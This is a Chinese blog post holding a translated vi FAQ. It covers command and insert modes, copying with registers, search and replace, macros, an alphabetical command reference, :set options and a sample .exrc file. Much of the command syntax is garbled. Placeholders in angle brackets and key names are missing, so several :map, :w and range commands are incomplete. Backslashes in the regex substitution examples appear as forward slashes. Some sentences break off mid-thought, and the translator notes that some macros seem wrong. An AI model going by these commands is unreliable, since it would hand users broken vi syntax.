发布新日志

  • 冒个泡

    2006-09-06 20:58:00

    很久没来这写东西了,冒个泡先
  • vi-faq中文版

    2006-05-15 11:42:00

    这个文档分为了几个部分.首先,第0节和第1节介绍了什么是vi;第2节则收录了很多新
    学者的问题,一些对vi没有很多经验的人也经常问这些问题.这里面包括诸如“命令模式和插入
    模式之间的区别”,以及“我怎样拷贝和粘贴”之类的问题.第3节是面向vi的中级用户的,它从
    问题“我如何查找和替换”开始,逐步深入,直到对vi里面的宏(Macro)的用法讨论为止.第3
    节还包括了一个vi的快速参考,有一个规范的vi命令列表.再下面,是一个有关“:set”命令的
    列表,包含了所有能定制vi环境的变量,这些变量也可以在.exrc文件中定义.
    我们已经在一个运行SunOS和UCB版本vi的机器上验证了快速参考.除了SunOS带的vi外,
    每个命令都可以在系统V和UCB版本vi运行,但是我个人并没有验证这一点.

    除非我们在文档中指明,缺省我们假定你处在命令模式下.

    我们还尝试保留尽可能多的术语,因为在原始的vi文档中使用了这些术语,尽管我可能
    忘了它的本来含义.

    0.1 - 索引

    第一个文件:

    0.0 - 引言 -- 我怎样用这个FAQ?
    0.1 - 索引
    0.2 - 我可以散发这个FAQ吗?
    0.3 - 你能为这个FAQ做什么?

    1.0 - 什么是vi?
    1.1 - 关于vi有什么重大的交易吗? 为什么大家都用它? 更进一步说,为什么我要用它?
    1.2 - 噢! 这听起来不错! 有没有理由不用vi?
    1.3 - vi能在多少不同的操作系统下面运行?
    1.4 - 好吧, 你说服了我. 我决定开始使用vi. 我该从哪儿开始?
    1.5 - vi有其他一些可用的变种吗?

    2.0 - vi入门
    2.1 - 有什么游戏帮助我们学习vi吗?
    2.2 - 命令模式和插入模式有什么区别?
    2.3 - 等等,我的键盘没有键,我该怎么办?
    2.4 - 那些~s是什么东西?
    2.5 - 我无法习惯用 hjkl, 你有什么建议吗?
    2.6 - 我如何才能不存盘就退出?
    2.7 - 我怎样插入一个文件?
    2.8 - 我怎样查找文本?
    2.9 - 我怎样搜索一个控制序列?
    2.10 - 我怎样重新格式化文本?
    2.11 - 我怎样复制文本?
    2.12 - 啊! 我刚才敲了一个dG,然后我的论文就没有了! 我该怎么办?
    (或者,我刚才犯了个错误,我该怎么办?)
    2.13 - 我正在写我的论文,被告知我必须将每一节都放在不同的文件里,我该怎么办?
    2.14 - 所有的:命令都是怎样处理的?

    3.0 - 怎样查找和替换?
    3.1 - 我怎样在vi中运行一个程序?
    3.2 - 啊! 我正在写我的论文, 系统崩溃了! 怎么办?
    3.3 - 有没有使vi对程序员更友好的窍门?
    3.4 - 宏 -- 我怎样写宏?
    3.5 - 我怎样将一个功能键定义成一个宏?
    3.6 - 有没有办法缩写文本?
    3.7 - 我怎样在当前文档中做拼写检查?
    3.8 - 我手头有一个硬拷贝的终端, 我还能用vi吗?
    3.9 - 好了,是不是处在开放模式下的原因呀?! 但是我现在没有用硬拷贝终端,它还是在
    开放模式呀?

    第二个文件:

    4.0 - vi档案的在线帮助在哪儿?
    5.0 - 好玩的vi诀窍,无聊的宏
    5.1 - 好玩的vi诀窍
    5.2 - 好玩的宏
    6.0 - 依字母顺序的vi快速参考
    6.1 - 命令模式的输入选项(:命令)
    6.2 - 设置选项(set)
    7.0 - 建立 .exrc文件
    7.1 - .exrc文件的样本
    8.0 - vi的漏洞
    9.0 - 术语表
    10.0 - 关于vi的参考书目

    0.2 - 我可以散发这个FAQ吗?

    可以!只要你没有对它做任何修改,或者用它来赚钱.

    0.3 - 你能为这个FAQ做什么?
    首先, 把你发现的错误告诉我. 如果你有什么建议我们也很欢迎. 你认为还不清楚的地方
    告诉我们,我们同样欢迎.
    还有, 使用vi! (Spread the word) 我很抱歉我无法将所有对这个FAQ有贡献的人都列出
    来, 因为许许多多的人都给过我建议和帮助,如果我将他们都列出来的话,那么恐怕这张贡献
    者的清单将和这个文档本身一样长了.

    1.0 - 什么是vi?
    vi是个可视化的编辑器(vi就意味着可视化--VIsual). 那么,什么是可视化的编辑器呢?
    (相对于非可视化的编辑器来说)?可视化的编辑器就是可以让你在编辑文本的时候看到它们.
    今天,这听起来似乎非常普通,反之,非可视化的编辑器似乎很奇怪. 非可视化的编辑器的例子
    可以举出不少:如ed, sed和edlin(直到相当近的一段时间内,它是DOS自带的最后一个编辑器)
    等.
    vi是威廉.侨伊写的,作为BSD UNIX的一部分. 后来AT&T也开始用vi, 于是标准UNIX也开始
    用vi了.

    1.1 - 关于vi有什么重大的交易吗? 为什么大家都用它? 更进一步说,为什么我要用它?
    vi是UNIX下面的缺省编辑器, 因此几乎近来所有的UNIX都捆绑了vi(近来是指1984年左右).
    这意味着无论何时你跨平台使用某种UNIX,你都知道在你指尖下面有一个强力的编辑器.为什么
    不是别的呢? vi是个强大的编辑器.同样,一旦你了解了vi,你就能很快的编辑你的文件,因为它
    非常能节省你的敲键次数. 由于它在插入和命令两种情况下使用不同的模式,它比大多数的不
    基于这种模式的编辑器要快. 而且,vi非常小(我机器上面的版本只有200K).还有,vi几乎能做
    任何事,只要你知道如何使它做你想做的事.

    1.2 - 噢! 这听起来不错! 有没有理由不用vi?
    有. 有一个非常好的理由: vi稍微有些难学, 如果你开始学的话,vi又慢又让人痛苦,
    当然,一旦你学会了, vi就快多了. 但是学习的过程很慢. 有人曾经问我, 如果vi是个比较
    易学的编辑器, 它是否直观(intuitive)呢? 我一般这样回答:"是的,我们有些人是这样认为.
    但是大多数人认为我们疯了."

    1.3 - vi能在多少不同的操作系统下面运行?
    UNIX. 就是它. 尽管如此,还是有很多vi的变种运行在不同的操作系统上. 我就在以下一些
    操作系统上用过vi: UNIX, DOS, OS/2, MAC SYSTEM 7.(后面有一个有关细节的列表)

    1.4 - 好吧, 你说服了我. 我决定开始使用vi. 我该从哪儿开始?
    好吧, 狡猾的家伙. 关于vi有很多很好的书:大多数讲UNIX的书至少有一章给了vi,而且
    有不少是专门讲vi的书.我没有什么偏爱. 所以你最好是问问你们那儿的vi高手们他们是从
    哪儿学来的. 还有,到处试. 用vi打开一个不重要的文档(你的论文不象是个学vi的好实验品),
    然后再到处试. 我无法想象有人学习vi却不花相当多的时间去到处试试. 记住:如果你有些
    地方不明白了, 只要敲两次 我要提到的一点是,我想在这里提比较合适,就是如果要成为系统管理员或者其他对UNIX配置
    做什么修改的话,最好是学学ed或者ex,因为有些版本的UNIX没有把vi放在根分区里面,这样你
    就可能无计可施了. ed是个不错的选择.

    1.5 - vi有其他一些可用的变种吗?
    只能列出一部分:STvi (STevie), elvis, vile, vim, 和nvi, xvi.
    elvis适用于:Amiga, DOS, OS/2, Unix, VMS, Atari.
    STevie适用于: Atari ST, DOS, Unix, Mac System 7.
    Mac System 7可以在很多info-mac的镜象站点获取,在/info-mac/text下.
    (例如ftp.hawaii.edu)
    nvi是将和BSD 4.4捆绑在一起的vi.
    vim适用于: Amiga, DOS, Mac System 7, Unix.
    Amiga, DOS,和源码可以在以下站点换取:ftp.fu-berlin.de /misc/editors/vim
    Mac System 7可以在很多info-mac的镜象站点获取,在/info-mac/text下.
    (例如ftp.hawaii.edu)
    vile适用于: DOS, OS/2, Unix, VMS.
    xvi适用于: DOS, Unix.
    vi的变种之间很有很多差异.很多都改进了vi,大多数都可以使用在这个文档
    种列出的命令,但是有一些不同的地方.更进一步的细节,你可以参考这些变种
    附带的相应的文档.


    2.0 - vi入门
    对vi的初学者来说,有些基本的提示.第一,任何时候,手头都要有一份命令摘要.
    我们将在后面给出一个快速参考/命令摘要. 第二, 找一本vi方面的比较好的书.
    这个文档不是学vi的最佳途径(最起码现在还不是),我不敢保证这个文档能教会一个
    对vi一无所知的人, 而很多书已经做到了这一点. 但是,我们这里还是给出了不少
    提示. 对选择书籍来说,有一个标准的原则:买之前一定要仔细阅读. 要了解这本书
    对你是否有意义.确信它能在你练习vi的时候有用. 和其他的书做个比较 -- 不管怎样,
    vi可能让你感到非常莫名其妙, 而且你要确信这么一点:是书让你糊涂,而不是
    你低估了学vi的难度.
    还有, 找一些诸如"学vi"(vilearn),"vi向导"(vitutor)之类的软件来帮助你掌握
    vi的基本知识.

    2.1 - 有什么游戏帮助我们学习vi吗?
    这似乎很无聊, 但是事实上UNIX系统里面有不少游戏可以帮助你学习使用vi.这些帮助
    主要是一些基本知识. 虽然我还不知道有哪个游戏可以帮你学习vi的所有命令, 但我
    确实知道有一些可以帮助你学习使用 hjkl来移动光标. NetHack,一个类Rogue的游戏,
    就对这非常有帮助. 而且它是一个很大的游戏,能玩很长一段时间. 我没有贬低其他游戏
    的意思,这些游戏是: rogue, moria, omega, worm, snake.

    2.2 - 命令模式和插入模式有什么区别?
    vi将命令模式和插入模式区分开来,这经常被认为是vi的一个大问题,但往往这也被认为是
    vi的优势所在. 理解其中的区别是掌握vi的关键.vi启动时,开始处于命令模式;在这种模式
    下,我们可以在文件中到处移动,改变文本的某个特定区域, 剪切, 复制和粘贴文本,还有更
    多. 插入模式是指用户可以真正插入文本.换句话说,命令模式是用来在文件中移动,而插入
    模式是用来在文件中键入文本.
    有些命令,例如: a, i, c, C, O, o和其他一些可以从命令模式切换到插入模式.
    键或者^C(CRTL+C)可以脱离插入模式而返回到命令模式.
    你要适应这种差别. 它使得vi区别于其他的编辑器. 它也使你能在你的手不离开标准
    键盘做很多事情.

    2.3 - 等等,我的键盘没有键,我该怎么办?
    试试敲 ^<(CTRL+<). 如果你的键盘有一个

    2.4 - 那些~s是什么东西?
    它们仅仅是用来让你知道你的文档末尾在哪儿.实际上它们并不在你的文档里面,所以
    你用不着担心它们.

    2.5 - 我无法习惯用 hjkl, 你有什么建议吗?
    首先,如果你的终端设置正确而且你连接的也没有问题的话,你可以使用箭头键.但是,
    如果你认为你要经常使用vi,那么最好是习惯使用 hjkl,因为它们敲起来更快. 而且,
    有时候连接出问题了,使得ESC序列都可能丢失了.(这样你可能就无法使用箭头键了--译注)

    2.6 - 我如何才能不存盘就退出?
    :q!可以做到这一点. 如果vi看起来冻住了,确信你没有错敲了个 ^S. 敲^Q可以解开^S.

    2.7 - 我怎样插入一个文件?
    :r <文件名>
    例如,要插入文件/etc/motd, 可以敲 :r /etc/motd.
    这将把文件插入到光标处.如果你在r前面指定了一个数字,那么这条命令将把文件插入
    到那个位置.

    2.8 - 我怎样查找文本?
    /<文本>将向前查找, ?<文本>将向后查找. ??或者//将重复上次查找. 在UNIX下,这已经
    是个可爱的标准用法了. 而且, 在vi中, n将查找文本下一次的出现位置. N重复上次查找,
    不过逆转了查找的方向. 在查找中可以使用规范式.

    2.9 - 我怎样搜索一个控制序列?
    /^V^<序列>
    ^V会告诉vi照字面理解下一个字符,不要把它看作是一条命令.

    2.10 - 我怎样重新格式化文本?
    如果你的计算机有一个名叫fmt的程序, 你要做的仅仅是在命令模式下面敲!}fmt(记住,
    不要在前面加. 这可以重新格式化你的文件,从光标所在的位置一直到当前段落的结尾.
    如果你的机器里面没有fmt这个程序, 你就得去找个类似的软件了(我记得在公共域里面有
    不少这样的程序,但是我对此了解不多)

    2.11 - 我怎样复制文本?
    这有点复杂.把这节拿出来,多看几遍;还有,一定要多做实验.
    "<字母>yy可以把一行文本拷贝到寄存器中(这里的寄存器是vi的术语,指可以存放剪切和
    拷贝下来的东西的地方), <字母>里面的字母必须是a到z之间的一个. "<字母>dd可以把一行
    剪切下来放到寄存器里面. 你可以在yy或者dd前面用数字指明要拷贝或者剪切的行数.如果
    <字母>中的字母是大写的话,意味着把文本插入到寄存器中已有的文本之前.
    "<字母>p把文本插入到光标之后,"<字母>P把文本插入到光标之前.如果寄存器中含有某
    一行的开头或结尾,这一行将会被放到另一合适的行上. Y是yy的快捷方式. 还有, y$, yH,
    yM,等等,都是可以用的.d命令也是一样的.如果要快速的剪切和粘贴, 你就无须指定寄存器
    了.如果这样的话,你就不能往寄存器里面添加文本了.而且只要有一个删除命令的话,寄存器
    中的东西就没有了(包括x命令).
    举例来说,如果要移动上一段的话,你可以把光标移到段落的开头,敲"a13dd,再把光标移到
    你想要放文本的地方,敲"ap,就可以把那段文本放到光标所在的行后面.
    现在,大概你想要剪切和粘贴文本到不是行末尾的区域去.我们来看如何做到这一点:我们
    可以使用 m<字母> 命令来标记一个区域,这个字母可以和剪切/粘贴寄存器的字母相同,因为
    它们是保存在内存中的不同位置. 然后,敲"<寄存器>`<字母>, 这里的寄存器就是
    要保存文本的那个寄存器,<字母>是用来标记的,yy和dd是你的操作.

    2.12 - 啊! 我刚才敲了一个dG,然后我的论文就没有了! 我该怎么办?
    (或者,我刚才犯了个错误,我该怎么办?)
    u可以撤消你刚才的操作.U可以撤消你对当前行的修改(当然,一行对于一篇论文来说当然
    很不够了). :e!可以不保存修改而重新把你的文件调进来. 还有,你删除的文本都保存在从
    0到9编号的寄存器里.所以,"p就可以把上第n次的删除文本粘贴出来.你可以按如下的
    方法迅速地查看所有删除的文本. 先试一个,不对的话,敲u,再试下一个.(为加速这个过程,
    这时vi中的.命令和通常的用法不一样了.它不是重复上次操作,而是试下一个寄存器,这样
    你要做的无非就是: "1p u . u .,直到你撤消了你想撤消的删除操作)

    2.13 - 我正在写我的论文,被告知我必须将每一节都放在不同的文件里,我该怎么办?
    :,w <文件名>可以将从第m行到第n行之间的文本保存到<文件名>所指定的文件中.
    这种行序号方法几乎在所有的:命令下都可以使用. 如果你用命令:, w >><文件名>,
    这些文本将添加到文件的后面.

    2.14 - 所有的:命令都是怎样处理的?
    :后面的命令都是从ex编辑器里面过来的. 这就给vi加入了很多灵活性,也使vi功能更强
    大. 例如, 有很多的方法可以用来查找和替换,它们有很多的类似地方(事实上,它们在某种
    意义上说都是一样的)


    3.0 - 怎样查找和替换?
    有很多方法. 最简单的是:
    :s/old/new/g, 但是,这仅对当前行起作用..., 所以,我们用
    :%s/old/new/g, 更一般的,我们还可以用
    :<范围>s/old/new/,这里,<范围>是任意的行范围,包括行号,$(文件末尾),.(当前行),
    %(当前文件),或者两个行号之间加个破折号(或者可以这样: .,+5,这表示下面5行).
    c,g,i中间的一个或者什么也没有.c告诉vi每次替换的时候要给提示,g是说对所有一行中出现
    的地方都做替换.i则是指在查找时不区分大小写.如果最后一个斜杠(/)后面没有东西的话,那
    么vi只替换在行中第一次匹配的地方.
    我比较喜欢这样做:
    :g/foobar/s/bar/baz/g, 这个命令首先搜寻foobar,然后把它变成foobaz. 它没有改变
    jailbars, 而其他的一些命令可能会改变jailbars. 这是我的方法,但是可能比较难记.
    当然,你还可以在查找的的时候使用正规式,以及在替换文本的时候使用其他一些命令.如果
    你在正规式里用/(和/)来剥离一个序列的话,你会发现你可以做很多好玩的事情.
    例如:
    :g//(foo/)/(bar/)/s//2//1baz/g 将foobar替换成foobaz
    还有一些特殊的序列:
    & 所有查找时匹配到的东西
    /<1-9> 1到9号用/(和/)括起来的东西
    /u 下一个字符将被变成大写.
    /U 以后的字符都变成大写,直到遇到/e或/E
    /l 下一个字符将被变成小写.
    /L 以后的字符都变成大写,直到遇到/e或/E
    / 更改大小写的选择区域的终点

    3.1 - 我怎样在vi中运行一个程序?
    :!命令 可以在vi中运行程序. :sh会启动一个交互式的外壳(SHELL).在这个外壳
    里面, 如果你愿意,你还可以再次运行vi. 当你在编辑Makefiles和配置文件来编译
    某个程序的时候,这可能比较有用. 这比:e优越之处在于它无须保存文件,而且如果
    你退出外壳的时候,vi还回到原来的地方.(当然,我还是建议你先保存一下文件)

    3.2 - 啊! 我正在写我的论文, 系统崩溃了! 怎么办?
    不要怕! 你会收到一封电子邮件,里面就是你的论文.敲入vi -r <文件名>
    (这个文件名就是系统崩溃时你正在编辑的文件)你就可以恢复出你的论文来.只敲
    vi -r将把所有可能恢复的文件都列出来.

    3.3 - 有没有使vi对程序员更友好的窍门?
    :set ai可以让vi自动对齐.
    :set sw=#,#是移动的宽度(shiftwidth),或者说TAB键的宽度(tabwidth);你可以
    用<<或者>>命令来左移或右移某一行. 还有, 你可以使用 <%或>%来将{,(或<等符号
    括起来的文本都左移或右移;这时候,你必须把光标放在这些符号({,(或<)上面.
    :set sm会在你敲},>或)显示出对应匹配的{,<或(来.
    :set lisp会对lisp编程有些帮助. ()被移到s表达式(s-expressions)外面,如果
    原子(atoms)没有停止则{}将被移走.

    3.4 - 宏 -- 我怎样写宏?
    :map , 其中最多10个字符,最多100个字符. 以后,如果
    你敲了 在你想在的模式下终止. 记住,在你想用的控制字符前面加上^V.
    :unmap 将删除这个宏. :map! 中去.

    3.5 - 我怎样将一个功能键定义成一个宏?
    如果是#n,n是0-9之间的一个数,那么这个宏就映射成某一个功能键了.(你
    可以试一下F1-F10之间的键--译者)

    3.6 - 有没有办法缩写文本?
    当然了. 这可是vi呀,它能做任何事情!
    :ab email ellidz@midway.uchicago.edu 可以在你敲完email后,把那个没有缩写
    的文本插入到文件中. :una email取消缩写.

    3.7 - 我怎样在当前文档中做拼写检查?
    这儿有一个宏可以做到这一点. 这些应该放在你的.exrc文件中(后面我们将对.exrc
    进一步讨论). 它是一个相当简单的宏. 它仅仅是调用ispell来处理当前文件.当然,你
    的系统里面一定得有ispell这个程序. 使用它的时候,只需要敲个V键就行了(因为vi并
    没有用V,所以V是一个比较合适的键)

    map V :w^M:!ispell % ^M:e!^M^M

    第二个^M使你在拼写检查完之后无须敲回车就可以到vi中.
    (译注, 在我的系统里,没有ispell,只有spell,我用它替换了ispell,工作的不错;还有,
    ^M不是两个字符,而是一个字符,通过^V^M敲进去的;另外,我个人认为第二个^M还是不要
    的好,因为直接回到vi后你就无法看到拼写检查的结果了)

    3.8 - 我手头有一个硬拷贝的终端, 我还能用vi吗?
    好了,好了. 我并认为有人会真的问这个问题.这个问题太偏了,我们大可不必理
    它.(而且,它回答了一个非常普通的问题)
    vi启动的时候处于一种特殊的模式下面,叫做"开放模式"; 在这种状态下,事情或多或少
    的有些不同. 删除的字符在你面前显示成一些/‘,vi会认为你的终端窗口只有一行. ^r
    可以把当前行重新输出. z则把当前行周围的窗口重画一遍.

    3.9 - 好了,是不是处在开放模式下的原因呀?! 但是我现在没有用硬拷贝终端,它还是在开放
    模式呀?
    这儿的问题就是vi没有认出你用的终端的类型. 于是它假定你有的是个最烂的终端,
    所以它决定依然处在开放模式下.这似乎没什么用处.因为没有多少人喜欢开放模式,但是开放
    模式还是需要知道你的终端的一些最起码的信息的.
    现在,我们来看如何解决这个问题.我们有可能把它分成几种特殊的情形,但是,一般情况下,
    这并没有用处. 如果你直到你的终端的类型, 你可以在UNIX提示符下面设置终端类型(在CSH
    及其变种下面,使用命令setenv TERM <终端类型>;在SH及其变种下面,使用命令TERM=<终端类型>;
    export TERM)
    最好你能把上面的命令写在.profile文件或者.cshrc文件里面,这样你一登录它就自动地给
    你设置好了.(当然,你应该知道如何使用ed,或者你能在UNIX提示符下面设置好终端类型以便能
    使用vi, 这样你才有可能去编辑这些文件)
    如果你确实不知道你地终端类型,试一试vt100.现在大多数地终端或者终端仿真器都能仿真
    vt100. 如果这还不能生效的话,你只好去找个高手来帮你了.

    4.0 - vi档案的在线帮助在哪儿?
    有一个vi的FAQ,其中列出了vi档案的所有在线文件. 同时它还列出了这些文档
    的镜象站点. 最主要的一个地址是alf.uib.no,但是这些文档在很多很多地地方
    都保存着. vi-archive faq把它们都给列出来了.你在下载这些文件之前一定要
    核对一下这个FAQ.因为很有可能有一个站点比去挪威的站点更近更快些.
    一个镜象站点是cs.uwp.edu/pub/vi, 另一个是monu6.cc.monash.edu.au/pub/Vi,
    这些站点上有很多有关vi的文件,还有一些vi的变种版本;当然,UCB版本的vi是
    肯定有的, 还有许多的宏.


    5.0 - 好玩的vi诀窍,好玩的宏
    这一节主要讲述一些无聊的诀窍和一些无聊的宏.事实上,任何vi的诀窍和宏我们
    都欢迎,只要它们不是过分冗长. 如果有人向我建议而我也认为确实值得加的话,
    我会考虑加进去的.

    5.1 - 好玩的vi诀窍
    xp 删除光标下的字符,再把粘贴到后面去.换句话说,它交换了当前两个字符
    的位置.
    ddp 和xp类似,不过是交换两行的位置.
    uu 撤消和重复上次所做的修改.(这可以使你不改变什么东西就可以到你上次所
    做的修改处)

    5.2 - 好玩的宏
    和垂直上方的字符交换位置
    map * kxjphxkP

    折行
    map g $80|F r
    (译注,我对这条宏表示疑问!)

    改变大多数单词的大小写
    map v ywmno:s/.//~/g
    (译注,这条好象也不大对!)

    在当前的单词周围加上`和‘
    map *` i`‘
    在当前的单词周围加上‘和‘
    map *‘ i‘‘
    在当前的单词周围加上"和"
    map *" i""
    (这几条也太无聊了吧--译注)
    在当前的单词周围加上``和``
    map! `` `‘
    (咦,好象又有问题?--译注)

    从光标处把当前行分开,在下一行开头加上一个>号(例如,引用USENET).如果加上了单词的折行
    功能那么最后一个单词可能被折在第一行.
    map g may0O`ay$:s/./ /g
    (不对吧--译注)

    插入一个字符
    map g i$^
    6.0 - 依字母顺序的vi快速参考
    ... 是指有些东西需要在命令之前或之后指明.这通常是说光标的移动键
    (h,j,k,l,w,b等等)或者是指行号.
    # (这里#代表一个数字) 执行n次后面的命令...
    : 进入ex模式
    ) 下一句
    ( 上一句
    } 下一段
    { 上一段
    >> 下一节
    << 上一节
    0 行的开头
    $ 行的末尾
    ^ 行的第一个非空白字符
    + 下一行的开头
    - 上一行的开头
    (空格) 下一个字符
    (回车) 下一行
    / 向前搜索
    ? 向后搜索
    % 查找当前小(中,大)括号的匹配字符
    , 逆向重复上一个f,F,t或T操作
    ; 重复上一个f,F,t或T操作
    . 重复上一个操作
    ` 转到标记处
    ‘ 转到标记所在行的开头
    `` 查找前回到上一个做标记的地方
    ‘‘ 查找前回到上一个做标记所在行的开头
    ~ 切换字符的大小写
    " 保存到寄存器中
    !! 重复上一次SHELL命令
    ! 把后面的文本送给命令, 取代输出(例如, !}fmt把当前的段落
    送给命令fmt处理,然后用fmt返回的东西替换输出.)
    >> 右移当前段落一个移动宽度(shiftwidth)
    << 左移当前段落一个移动宽度(shiftwidth)
    >% 从当前到匹配小(中,大)括号之间的文本右移
    <% 从当前到匹配小(中,大)括号之间的文本左移
    (似乎漏了一个符号|, 移动到某一列----译注)
    a 在当前位置之后添加
    A 在当前行的末尾添加
    ^a 没有使用
    b 上一个单词的开头
    B 上一个单词的开头,忽略标点符号
    ^b 上移一屏
    c 覆盖...
    C 覆盖到行末尾
    ^c 终止插入模式,在命令模式没有用
    d 删除...
    D 删除到行末尾
    ^d 下移半屏,如果在插入模式下则移到上一个移动宽度(ShiftTab)处
    e 单词的末尾
    E 单词的末尾,忽略标点符号
    ^e 屏幕下卷一行
    f 查找...
    F 向后查找...
    ^f 下移一屏
    g 未用
    G ...跳至<缺省是到文件末尾>
    ^g 显示状态栏
    h 左移
    H 屏幕上的第一行
    ^h 在插入模式下是退格,命令模式下是左移
    i 在当前的位置前面插入
    I 在本行的第一个非空白字符前面插入
    ^i 插入模式下是制表键,命令模式下未用
    j 下移
    J 把下一行合并到本行
    ^j 命令模式下是下移,插入模式下是建一个新行
    k 上移
    K 未用
    ^k 未用
    l 右移
    L 屏幕中的最后一行
    ^l 重绘屏幕
    m 把当前位置标记到寄存器中
    M 屏幕的中间行
    ^m 回车
    n 重复上次查找
    N 逆向重复上次查找
    ^n 命令模式下是下移
    o 在当前行的下面建一个新行
    O 在当前行的上面建一个新行
    ^o 未用
    p 在当前行的下面粘贴
    (译注--应为在当前位置的后面粘贴)
    P 在当前行的上面粘贴
    (译注--应为在当前位置的前面粘贴)
    ^p 命令模式下是上移
    q 未用
    Q 退出并且启动ex
    ^q 未用
    r 覆盖当前的字符
    R 在插入模式下一直覆盖字符
    ^r 在命令模式下面重绘屏幕
    s 替换
    S 替换整行
    t 到...
    T 向后到...
    ^t 移到下一个移动宽度(shifttab)处
    u 撤消上一次操作
    U 撤消对本行的所有修改
    ^u 上移半屏
    v 未用
    V 未用
    ^v 未用
    w 下一个单词的开头
    W 下一个单词的开头,忽略标点符号
    ^w 命令模式下未用,在插入模式下是到上一个单词的开头处
    x 删除当前字符
    X 删除前一个字符
    ^x 未用
    y 复制...
    Y 复制整行
    ^y 屏幕上卷一行
    z 重新配置当前行周围的屏幕
    ZZ 保存之后退出
    ^z 未用
    (译注--在命令模式下,^z执行了UNIX暂停操作)

    6.1 - 命令模式的输入选项(:命令)
    (注: 这不是一个规范的列表,, 我只是列出了一些最重要的命令)
    :r <文件> 把<文件>读入到当前文档
    :r !<命令> 把<命令>的输出插入到当前文本中
    :nr <文件> 把<文件>插入到第n行
    :!<命令> 运行<命令>,然后返回
    :sh 转到SHELL
    :so <文件> 读取<文件>,再执行文件里面的命令
    (译注--文件中的命令应该都是一些ex命令)
    保存之后退出
    :wq 保存之后退出
    :l1,l2w <文件>把第l1和第l2行之间的文本写到<文件>中去,如果没有指定<文件>,
    vi就假定是当前文件,如果没有指定l1,l2,就假定是整个文件(就成了:w)
    :w >> <文件> 添加到<文件>末尾. 也可以使用行号
    :w! 覆盖当前文件
    :q 退出
    :q! 不存盘就退出
    :e <文件> 不离开vi编辑<文件>
    :e! 重新编辑当前文件,忽略所有的修改
    :n 编辑下一个文件
    :e +n <文件> 从第n行开始编辑<文件>,如果超过了末尾,就从末尾开始编辑
    :e# 编辑替换文件(如果使用了命令:e<文件>,替换文件就指的是原始文件)
    :args 显示所有要编辑的文件
    :rew 重新回到第一个编辑的文档
    :map m n 创建一个宏(使 m 做 n)
    :map! m n 创建一个插入模式的宏(使 m 做 n)
    :unmap m 删除宏m
    :unmap! m 删除插入模式的宏m
    :ab <1> <2> 缩写,敲<1>的时候用<2>取代
    :unab <1> 取消缩写<1>
    :set <选项> 设置<选项>...

    6.2 - 设置选项(set)
    可以使用括号中的缩写形式. 语法:
    :set <选项> <参数> (如果需要参数的话)
    也可以在一行中指定多个选项
    :set <选项>? 显示出当前这个选项的参数值
    :set all 则显示所有的选项值
    对那些无须参数的选项来说,使用:set no<选项>就可以把它给关了




    选项: 缺省值: 含义:
    autoindent (ai) noai 使新行自动缩进,和上(下)行的位置对齐
    autoprint (ap) ap 每条命令之后都显示出修改之处
    autowrite (aw) noaw 在:n,:!命令之前都自动保存文件
    beautify (bf) nobf 在输入的时候忽略所有的控制字符
    (除了制表键(tab),换行(newline),进纸(formfeed))
    directory= (dir=) /tmp 存放缓冲区的目录名
    edcompatible noedcompatible 在替换的时候使用类ed的用法
    errorbells (eb) errorbells 出错的时候响铃
    exrc (ex) noexrc 允许在主目录(home)外面之外放.exrc文件
    hardtabs= (ht=) 8 设置硬制表的边界
    ignore case (ic) noic 正规式里忽略大小写
    lisp nolisp 打开lisp模式
    list nolist 显示所有的制表键和行的结尾
    magic magic 可以使用更多的正规表达式
    mesg mesg 允许向终端发送消息
    number (nu) nonumber 显示行号
    open open 允许开放和可视化
    optimize (opt) optimize 优化吞吐量,打印时不发回车
    paragraphs= (para=) IPLPPPQPPLIbp 设置{ & }的分界符
    prompt prompt 命令模式下的输入给出:的提示符
    readonly (ro) noro 除非用!号否则不准保存文件
    redraw noredraw 当编辑的时候重绘屏幕
    remap remap 允许宏指向其他的宏
    report= 5 如果影响的行数>这个数的话就报告
    scroll 1/2 window 下卷屏幕时滚动屏幕的数目,
    同样这也是z命令输出的行数(z 输出2倍滚屏的大小)
    sections= SHNHH HU 定义节的末尾(当使用命令<< 和 >> 时)
    shell= (sh=) /bin/sh 缺省的SHELL,如果设置了环境变量SHELL的话,就使用变量
    shiftwidth= (sw=) 8 当使用移动(shift)命令时移动的字符数
    showmatch (sm) nosm 显示{, }, (, , <, 或者 > 的匹配情况
    showmode noshowmode 显示你处在什么模式下面
    slowopen (slow) 插入之后不要立刻更新显示
    tabstop= (ts=) 8 设置制表停止位(tabstop)的长度
    taglength= (tl=) 0 重要标记的字符个数(0表示所有的字符)
    tags= tag, /usr/lib/tags 定义包含标记的文件路径
    term= 设置终端类型
    terse noterse 显示简短的错误信息
    timeout (to) timeout 一秒钟后键盘映射超时
    ttytype= 设置终端类型
    warn warn 显示"No write since last change"信息
    window= (w=) 可视模式下窗口的行数
    wrapmargin= (wm=) 0 右边距,大于0的话最右边的单词将折行,留出n个空白位置
    wrapscan (ws) ws 查找到文件尾后再重头开始
    writeany (wa) nowa 可以保存到任意一个文件去

    (译注--这些选项在各种vi版本中都基本上大同小异,以SunOS带的vi为例,它没有这里列出来的open选项,
    scroll的参数值也不同,还多出来一些选项,如flash,modelines,novice,tagstack等等)

    7.0 - 建立 .exrc文件
    所有命令输入模式下的命令(即 :命令)都可以在.exrc文件中使用,在.exrc中的命令在启动vi的时候自动
    加载.尤其是源命令(so),缩写(ab)和宏定义都可以用.在.exrc中不允许有空行.以"开头的一行vi将把它当成
    注释.

    7.1 - .exrc文件的样本
    以下的.exrc文件是一个实际的例子, 我自己的. 因此,它就没有有些人想象的那样设置很多的选项.即便
    如此,它还是给出一些基本的概念,而且它也相当易懂.

    首先,记住你无须在命令前面加:号,因为它是缺省就添加了的.

    "译注--以下是.exrc文件中的内容,为真实起见,而且事实上也相当浅显,我没有翻译其中的注释
    " set wordwrap 9 characters from the right
    set wm=9
    " show matching parenthesis. When },), or > is hit, show the opening
    " {,(, or < that matches it.
    set sm
    " set the shell to be /usr/local/bin/tcsh
    set sh=/usr/local/bin/tcsh
    " a few abbreviations
    " this makes -l automatically become -Larry, and zidlle to be my
    " name and email address.
    ab zidlle E. Larry Lidz - ellidz@midway.uchicago.edu
    ab -l -Larry
    " uppercase V will run ispell -x (-x tells it not to save backups) on current
    " file
    map V :w
    " K will center the line... (this doesn‘t work on SunOS -- ??)
    map K :s/^< >*//
    " v will reformat the current paragraph
    map v {0!}fmt
    " q runs a program to lock my terminal
    map q :!lock2
    " Splits a line in two at current cursor location, puts a > at the
    "beginning of the line - useful for Usenet/email
    map g may0O`ay$:s/./ /g


    8.0 - vi的bug
    我很想说vi中没有bug,但很不幸,它不是这样的. 这些bug都是初始版本vi中的,
